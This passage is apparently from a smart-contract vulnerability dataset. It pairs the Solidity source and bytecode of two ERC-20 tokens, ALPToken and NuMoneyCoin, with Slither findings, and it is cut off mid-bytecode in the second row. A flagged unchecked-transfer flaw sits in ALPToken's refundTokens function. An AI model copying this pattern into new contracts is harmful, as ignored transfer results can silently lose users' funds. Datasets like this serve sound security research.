address
stringlengths 42
42
| source_code
stringlengths 6.9k
125k
| bytecode
stringlengths 2
49k
| slither
stringclasses 664
values | id
int64 0
10.7k
|
---|---|---|---|---|
0xeeb7049f7f484e1db504e4aada15ad0cd01c4bbd
|
pragma solidity ^0.4.21;
/*
* Creator: ALP (AlpacaToken)
*/
/*
* Abstract Token Smart Contract
*
*/
/*
* Safe Math Smart Contract.
* https://github.com/OpenZeppelin/zeppelin-solidity/blob/master/contracts/math/SafeMath.sol
*/
contract SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function safeDiv(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function safeSub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function safeAdd(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* ERC-20 standard token interface, as defined
* <a href="http://github.com/ethereum/EIPs/issues/20">here</a>.
*/
contract Token {
function totalSupply() constant returns (uint256 supply);
function balanceOf(address _owner) constant returns (uint256 balance);
function transfer(address _to, uint256 _value) returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) returns (bool success);
function approve(address _spender, uint256 _value) returns (bool success);
function allowance(address _owner, address _spender) constant returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
/**
* Abstract Token Smart Contract that could be used as a base contract for
* ERC-20 token contracts.
*/
contract AbstractToken is Token, SafeMath {
/**
* Create new Abstract Token contract.
*/
function AbstractToken () {
// Do nothing
}
/**
* Get number of tokens currently belonging to given owner.
*
* @param _owner address to get number of tokens currently belonging to the
* owner of
* @return number of tokens currently belonging to the owner of given address
*/
function balanceOf(address _owner) constant returns (uint256 balance) {
return accounts [_owner];
}
/**
* Transfer given number of tokens from message sender to given recipient.
*
* @param _to address to transfer tokens to the owner of
* @param _value number of tokens to transfer to the owner of given address
* @return true if tokens were transferred successfully, false otherwise
* accounts [_to] + _value > accounts [_to] for overflow check
* which is already in safeMath
*/
function transfer(address _to, uint256 _value) returns (bool success) {
require(_to != address(0));
if (accounts [msg.sender] < _value) return false;
if (_value > 0 && msg.sender != _to) {
accounts [msg.sender] = safeSub (accounts [msg.sender], _value);
accounts [_to] = safeAdd (accounts [_to], _value);
}
Transfer (msg.sender, _to, _value);
return true;
}
/**
* Transfer given number of tokens from given owner to given recipient.
*
* @param _from address to transfer tokens from the owner of
* @param _to address to transfer tokens to the owner of
* @param _value number of tokens to transfer from given owner to given
* recipient
* @return true if tokens were transferred successfully, false otherwise
* accounts [_to] + _value > accounts [_to] for overflow check
* which is already in safeMath
*/
function transferFrom(address _from, address _to, uint256 _value)
returns (bool success) {
require(_to != address(0));
if (allowances [_from][msg.sender] < _value) return false;
if (accounts [_from] < _value) return false;
if (_value > 0 && _from != _to) {
allowances [_from][msg.sender] = safeSub (allowances [_from][msg.sender], _value);
accounts [_from] = safeSub (accounts [_from], _value);
accounts [_to] = safeAdd (accounts [_to], _value);
}
Transfer(_from, _to, _value);
return true;
}
/**
* Allow given spender to transfer given number of tokens from message sender.
* @param _spender address to allow the owner of to transfer tokens from message sender
* @param _value number of tokens to allow to transfer
* @return true if token transfer was successfully approved, false otherwise
*/
function approve (address _spender, uint256 _value) returns (bool success) {
allowances [msg.sender][_spender] = _value;
Approval (msg.sender, _spender, _value);
return true;
}
/**
* Tell how many tokens given spender is currently allowed to transfer from
* given owner.
*
* @param _owner address to get number of tokens allowed to be transferred
* from the owner of
* @param _spender address to get number of tokens allowed to be transferred
* by the owner of
* @return number of tokens given spender is currently allowed to transfer
* from given owner
*/
function allowance(address _owner, address _spender) constant
returns (uint256 remaining) {
return allowances [_owner][_spender];
}
/**
* Mapping from addresses of token holders to the numbers of tokens belonging
* to these token holders.
*/
mapping (address => uint256) accounts;
/**
* Mapping from addresses of token holders to the mapping of addresses of
* spenders to the allowances set by these token holders to these spenders.
*/
mapping (address => mapping (address => uint256)) private allowances;
}
/**
* ALP token smart contract.
*/
contract ALPToken is AbstractToken {
/**
* Maximum allowed number of tokens in circulation.
* tokenSupply = tokensIActuallyWant * (10 ^ decimals)
*/
uint256 constant MAX_TOKEN_COUNT = 1121613119 * (10**18);
/**
* Address of the owner of this smart contract.
*/
address private owner;
/**
* Frozen account list holder
*/
mapping (address => bool) private frozenAccount;
/**
* Current number of tokens in circulation.
*/
uint256 tokenCount = 0;
/**
* True if tokens transfers are currently frozen, false otherwise.
*/
bool frozen = false;
/**
* Create new token smart contract and make msg.sender the
* owner of this smart contract.
*/
function ALPToken () {
owner = msg.sender;
}
/**
* Get total number of tokens in circulation.
*
* @return total number of tokens in circulation
*/
function totalSupply() constant returns (uint256 supply) {
return tokenCount;
}
string constant public name = "AlpacaToken";
string constant public symbol = "ALP";
uint8 constant public decimals = 18;
/**
* Transfer given number of tokens from message sender to given recipient.
* @param _to address to transfer tokens to the owner of
* @param _value number of tokens to transfer to the owner of given address
* @return true if tokens were transferred successfully, false otherwise
*/
function transfer(address _to, uint256 _value) returns (bool success) {
require(!frozenAccount[msg.sender]);
if (frozen) return false;
else return AbstractToken.transfer (_to, _value);
}
/**
* Transfer given number of tokens from given owner to given recipient.
*
* @param _from address to transfer tokens from the owner of
* @param _to address to transfer tokens to the owner of
* @param _value number of tokens to transfer from given owner to given
* recipient
* @return true if tokens were transferred successfully, false otherwise
*/
function transferFrom(address _from, address _to, uint256 _value)
returns (bool success) {
require(!frozenAccount[_from]);
if (frozen) return false;
else return AbstractToken.transferFrom (_from, _to, _value);
}
/**
* Change how many tokens given spender is allowed to transfer from message
* spender. In order to prevent double spending of allowance,
* To change the approve amount you first have to reduce the addresses`
* allowance to zero by calling `approve(_spender, 0)` if it is not
* already 0 to mitigate the race condition described here:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender address to allow the owner of to transfer tokens from
* message sender
* @param _value number of tokens to allow to transfer
* @return true if token transfer was successfully approved, false otherwise
*/
function approve (address _spender, uint256 _value)
returns (bool success) {
require(allowance (msg.sender, _spender) == 0 || _value == 0);
return AbstractToken.approve (_spender, _value);
}
/**
* Create _value new tokens and give new created tokens to msg.sender.
* May only be called by smart contract owner.
*
* @param _value number of tokens to create
* @return true if tokens were created successfully, false otherwise
*/
function createTokens(uint256 _value)
returns (bool success) {
require (msg.sender == owner);
if (_value > 0) {
if (_value > safeSub (MAX_TOKEN_COUNT, tokenCount)) return false;
accounts [msg.sender] = safeAdd (accounts [msg.sender], _value);
tokenCount = safeAdd (tokenCount, _value);
// adding transfer event and _from address as null address
Transfer(0x0, msg.sender, _value);
return true;
}
return false;
}
/**
* Set new owner for the smart contract.
* May only be called by smart contract owner.
*
* @param _newOwner address of new owner of the smart contract
*/
function setOwner(address _newOwner) {
require (msg.sender == owner);
owner = _newOwner;
}
/**
* Freeze ALL token transfers.
* May only be called by smart contract owner.
*/
function freezeTransfers () {
require (msg.sender == owner);
if (!frozen) {
frozen = true;
Freeze ();
}
}
/**
* Unfreeze ALL token transfers.
* May only be called by smart contract owner.
*/
function unfreezeTransfers () {
require (msg.sender == owner);
if (frozen) {
frozen = false;
Unfreeze ();
}
}
/*A user is able to unintentionally send tokens to a contract
* and if the contract is not prepared to refund them they will get stuck in the contract.
* The same issue used to happen for Ether too but new Solidity versions added the payable modifier to
* prevent unintended Ether transfers. However, there’s no such mechanism for token transfers.
* so the below function is created
*/
function refundTokens(address _token, address _refund, uint256 _value) {
require (msg.sender == owner);
require(_token != address(this));
AbstractToken token = AbstractToken(_token);
token.transfer(_refund, _value);
RefundTokens(_token, _refund, _value);
}
/**
* Freeze specific account
* May only be called by smart contract owner.
*/
function freezeAccount(address _target, bool freeze) {
require (msg.sender == owner);
require (msg.sender != _target);
frozenAccount[_target] = freeze;
FrozenFunds(_target, freeze);
}
/**
* Logged when token transfers were frozen.
*/
event Freeze ();
/**
* Logged when token transfers were unfrozen.
*/
event Unfreeze ();
/**
* Logged when a particular account is frozen.
*/
event FrozenFunds(address target, bool frozen);
/**
* when accidentally send other tokens are refunded
*/
event RefundTokens(address _token, address _refund, uint256 _value);
}
|
0x6060604052600436106100db576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806301502460146100e057806306fdde03146100f5578063095ea7b31461018357806313af4035146101dd57806318160ddd1461021657806323b872dd1461023f578063313ce567146102b857806331c420d4146102e757806370a08231146102fc5780637e1f2bb81461034957806389519c501461038457806395d89b41146103e5578063a9059cbb14610473578063dd62ed3e146104cd578063e724529c14610539575b600080fd5b34156100eb57600080fd5b6100f361057d565b005b341561010057600080fd5b610108610639565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561014857808201518184015260208101905061012d565b50505050905090810190601f1680156101755780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561018e57600080fd5b6101c3600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610672565b604051808215151515815260200191505060405180910390f35b34156101e857600080fd5b610214600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506106a8565b005b341561022157600080fd5b610229610748565b6040518082815260200191505060405180910390f35b341561024a57600080fd5b61029e600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610752565b604051808215151515815260200191505060405180910390f35b34156102c357600080fd5b6102cb6107e0565b604051808260ff1660ff16815260200191505060405180910390f35b34156102f257600080fd5b6102fa6107e5565b005b341561030757600080fd5b610333600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506108a0565b6040518082815260200191505060405180910390f35b341561035457600080fd5b61036a60048080359060200190919050506108e8565b604051808215151515815260200191505060405180910390f35b341561038f57600080fd5b6103e3600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610a76565b005b34156103f057600080fd5b6103f8610c71565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561043857808201518184015260208101905061041d565b50505050905090810190601f1680156104655780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561047e57600080fd5b6104b3600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610caa565b604051808215151515815260200191505060405180910390f35b34156104d857600080fd5b610523600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610d36565b6040518082815260200191505060405180910390f35b341561054457600080fd5b61057b600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080351515906020019091905050610dbd565b005b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156105d957600080fd5b600560009054906101000a900460ff161515610637576001600560006101000a81548160ff0219169083151502179055507f615acbaede366d76a8b8cb2a9ada6a71495f0786513d71aa97aaf0c3910b78de60405160405180910390a15b565b6040805190810160405280600b81526020017f416c70616361546f6b656e00000000000000000000000000000000000000000081525081565b60008061067f3385610d36565b148061068b5750600082145b151561069657600080fd5b6106a08383610f1e565b905092915050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561070457600080fd5b80600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600454905090565b6000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515156107ad57600080fd5b600560009054906101000a900460ff16156107cb57600090506107d9565b6107d6848484611010565b90505b9392505050565b601281565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561084157600080fd5b600560009054906101000a900460ff161561089e576000600560006101000a81548160ff0219169083151502179055507f2f05ba71d0df11bf5fa562a6569d70c4f80da84284badbe015ce1456063d0ded60405160405180910390a15b565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561094657600080fd5b6000821115610a6c576109676b039fc6d103f164dee59c00006004546113f6565b8211156109775760009050610a71565b6109bf6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548361140f565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610a0d6004548361140f565b6004819055503373ffffffffffffffffffffffffffffffffffffffff1660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a360019050610a71565b600090505b919050565b6000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610ad457600080fd5b3073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614151515610b0f57600080fd5b8390508073ffffffffffffffffffffffffffffffffffffffff1663a9059cbb84846040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1515610bb457600080fd5b5af11515610bc157600080fd5b50505060405180519050507ffab5e7a27e02736e52f60776d307340051d8bc15aee0ef211c7a4aa2a8cdc154848484604051808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001828152602001935050505060405180910390a150505050565b6040805190810160405280600381526020017f414c50000000000000000000000000000000000000000000000000000000000081525081565b6000600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151515610d0557600080fd5b600560009054906101000a900460ff1615610d235760009050610d30565b610d2d838361142d565b90505b92915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610e1957600080fd5b8173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151515610e5457600080fd5b80600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507f48335238b4855f35377ed80f164e8c6f3c366e54ac00b96a6402d4a9814a03a58282604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001821515151581526020019250505060405180910390a15050565b600081600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561104d57600080fd5b81600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410156110da57600090506113ef565b816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561112957600090506113ef565b60008211801561116557508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15611385576111f0600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836113f6565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506112b86000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836113f6565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506113426000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548361140f565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190505b9392505050565b600082821115151561140457fe5b818303905092915050565b600080828401905083811015151561142357fe5b8091505092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561146a57600080fd5b816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410156114b95760009050611679565b6000821180156114f557508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b1561160f576115426000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836113f6565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506115cc6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548361140f565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190505b929150505600a165627a7a723058203a4451c507aab0634520c8e0ff5f6137dcdd8883d22ad95941eaaf7ef468d3b40029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}}
| 4,000 |
0xa357d572b77d321a9be38f9c9080fc26f16ef340
|
pragma solidity ^0.4.13;
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
// Gas optimization: this is cheaper than asserting 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
/**
* @dev Burns a specific amount of tokens.
* @param _value The amount of token to be burned.
*/
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(
address _spender,
uint _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
returns (bool)
{
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract FixedSupply is BasicToken {
constructor(uint256 initialSupply) public {
totalSupply_ = initialSupply;
balances[msg.sender] = initialSupply;
emit Transfer(address(0), msg.sender, initialSupply);
}
}
contract NuMoneyCoin is StandardToken, BurnableToken, FixedSupply {
string public constant name = 'NuMoney Coin';
string public constant symbol = 'NMX';
uint8 public constant decimals = 18;
uint256 public constant INITIAL_SUPPLY = 2500000000 * (10 ** uint256(decimals));
constructor() FixedSupply(INITIAL_SUPPLY) public {
}
}
|
0x6080604052600436106100c5576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100ca578063095ea7b31461015a57806318160ddd146101bf57806323b872dd146101ea5780632ff2e9dc1461026f578063313ce5671461029a57806342966c68146102cb57806366188463146102f857806370a082311461035d57806395d89b41146103b4578063a9059cbb14610444578063d73dd623146104a9578063dd62ed3e1461050e575b600080fd5b3480156100d657600080fd5b506100df610585565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561011f578082015181840152602081019050610104565b50505050905090810190601f16801561014c5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561016657600080fd5b506101a5600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506105be565b604051808215151515815260200191505060405180910390f35b3480156101cb57600080fd5b506101d46106b0565b6040518082815260200191505060405180910390f35b3480156101f657600080fd5b50610255600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506106ba565b604051808215151515815260200191505060405180910390f35b34801561027b57600080fd5b50610284610a74565b6040518082815260200191505060405180910390f35b3480156102a657600080fd5b506102af610a85565b604051808260ff1660ff16815260200191505060405180910390f35b3480156102d757600080fd5b506102f660048036038101908080359060200190929190505050610a8a565b005b34801561030457600080fd5b50610343600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a97565b604051808215151515815260200191505060405180910390f35b34801561036957600080fd5b5061039e600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d28565b6040518082815260200191505060405180910390f35b3480156103c057600080fd5b506103c9610d70565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104095780820151818401526020810190506103ee565b50505050905090810190601f1680156104365780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561045057600080fd5b5061048f600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610da9565b604051808215151515815260200191505060405180910390f35b3480156104b557600080fd5b506104f4600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610fc8565b604051808215151515815260200191505060405180910390f35b34801561051a57600080fd5b5061056f600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506111c4565b6040518082815260200191505060405180910390f35b6040805190810160405280600c81526020017f4e754d6f6e657920436f696e000000000000000000000000000000000000000081525081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600154905090565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156106f757600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561074457600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156107cf57600080fd5b610820826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461124b90919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506108b3826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461126490919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061098482600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461124b90919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36